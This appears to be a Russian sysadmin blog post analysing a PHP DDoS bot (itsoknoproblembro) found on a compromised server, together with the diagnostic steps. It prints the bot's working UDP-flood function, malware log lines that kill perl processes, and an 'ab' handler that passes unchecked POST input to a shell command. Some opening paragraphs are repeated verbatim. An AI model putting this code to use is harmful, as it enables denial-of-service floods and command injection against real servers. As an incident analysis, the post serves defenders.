Сегодня, около двух часов ночи, когда я хотел отойти ко сну, ко мне в скайп написал один из знакомых. В прошлом году я помогал ему администрировать несколько его серверов. В столь позднее время он писал о том, что сетевой интерфейс одного из его серверов полностью забит, судя по графику mrtg. Я посмотрел, действительно, я даже не смог достучаться до ssh, сервер перезагрузили и начался анализ ситуации…
После перезагрузки сервера, через какое-то время, трафик появился снова. Запустил iptraf, он показал довольно большое кол-во UDP пакетов к одному IP-адресу — "171.161.224.16", когда я его отрезолвил в dns5.bankofamerica.com: все встало на свои места, явно с сервера идет ддос.
Забанил IP в iptables. Посмотрел top, один из процессов httpd отъедал 100% cpu, натравил на него strace, увидел все тот же знакомый адрес. Так как access_log'ов на сервере нет, а в error_log'ах было пусто, то я обратился к логам прекрасного php-модуля baxtep (статья на хабре), который пишет в лог все попытки выполнить какую-либо команду через php интерпретатор. Я сделал RPMку и всегда ставлю его на подопечные серверы, как раз на такой случай. Я невооруженным глазом определил имя искомого скрипта:
Код файла доступен по ссылке, я нашел его в гугле по строке itsoknoproblembro из файла, в гугле всего один результат, свежак подумал я и решил написать об этом на хабр.
Размер файла всего 3кб, код не сложный. Основные возможности бота:
Остановлюсь подробнее на ддосе.
Скрипт получает адрес атакуемой цели через параметр, открывает UDP-сокет и пока сокет существует шлет запросы на 11-й порт. Причем, интересно что в данных он передает свой же адрес.
Вопрос «Зачем?» не покидает мою голову уже 12 часов.
Второй метод атаки — через утилиту ab:
Причем, здесь нет проверок входящих параметров и можно выполнять произвольные команды на сервере.
Ранее, я лично не сталкивался с UDP-ддосом на php, не заливали нам такого, погуглил — видимо народ уже давно практикует под разными соусами.
Анализ ситуации
После перезагрузки сервера, через какое-то время, трафик появился снова. Запустил iptraf, он показал довольно большое кол-во UDP пакетов к одному IP-адресу — "171.161.224.16", когда я его отрезолвил в dns5.bankofamerica.com: все встало на свои места, явно с сервера идет ддос.
Забанил IP в iptables. Посмотрел top, один из процессов httpd отъедал 100% cpu, натравил на него strace, увидел все тот же знакомый адрес. Так как access_log'ов на сервере нет, а в error_log'ах было пусто, то я обратился к логам прекрасного php-модуля baxtep (статья на хабре), который пишет в лог все попытки выполнить какую-либо команду через php интерпретатор. Я сделал RPMку и всегда ставлю его на подопечные серверы, как раз на такой случай. Я невооруженным глазом определил имя искомого скрипта:
2012-01-12 22:46:33 BAXTEP: system CMDLINE: `killall -9 perl` FILE: /home/user/site/htdocs/dir/db/indx.php on line 19 URI: /dir/db/indx.php
2012-01-12 22:46:33 BAXTEP: system CMDLINE: `killall -9 perl-bin` FILE: /home/user/site/htdocs/dir/db/indx.php on line 19 URI: /dir/db/indx.php
2012-01-12 22:46:33 BAXTEP: system CMDLINE: `killall -9 perl-cgi` FILE: /home/user/site/htdocs/dir/db/indx.php on line 19 URI: /dir/db/indx.php
Код файла доступен по ссылке, я нашел его в гугле по строке itsoknoproblembro из файла, в гугле всего один результат, свежак подумал я и решил написать об этом на хабр.
Анализ кода
Размер файла всего 3кб, код не сложный. Основные возможности бота:
- закачка файлов на сервер
- ддос большим кол-вом UDP пакетов
- ддос через утилиту ab
Остановлюсь подробнее на ддосе.
case "ust":
$page = curPageURL();
$ip = $_POST['ip'];
$port = "11";
$out = $page."\n";
$socket = stream_socket_client("udp://$ip:$port");
if ($socket) {
stream_set_write_buffer($socket, 0);
stream_socket_sendto($socket,$out);
}
fclose($socket);
break;
Скрипт получает адрес атакуемой цели через параметр, открывает UDP-сокет и пока сокет существует шлет запросы на 11-й порт. Причем, интересно что в данных он передает свой же адрес.
function curPageURL(){
$pageURL = 'http';
if ($_SERVER["HTTPS"] == "on") {
$pageURL .= "s";
}
$pageURL .= "://";
if ($_SERVER["SERVER_PORT"] != "80") {
$pageURL .= $_SERVER["SERVER_NAME"].":".$_SERVER["SERVER_PORT"].$_SERVER["REQUEST_URI"];
} else {
$pageURL .= $_SERVER["SERVER_NAME"].$_SERVER["REQUEST_URI"];
}
return $pageURL;
}
Вопрос «Зачем?» не покидает мою голову уже 12 часов.
Второй метод атаки — через утилиту ab:
case "ab":
$url = $_POST['url'];
$c = $_POST['c'];
$n = $_POST['n'];
cmdexec("ab -c $c -n $n $url");
break;
Причем, здесь нет проверок входящих параметров и можно выполнять произвольные команды на сервере.
Ранее, я лично не сталкивался с UDP-ддосом на php, не заливали нам такого, погуглил — видимо народ уже давно практикует под разными соусами.
Выводы
- Как показала практика, такой скрипт легко забивает весь доступный канал.
- Ситуация стала реальностью, так как UDP не был параноидально зафильтрован на сервере.
- Кто-то решил положить BOA :)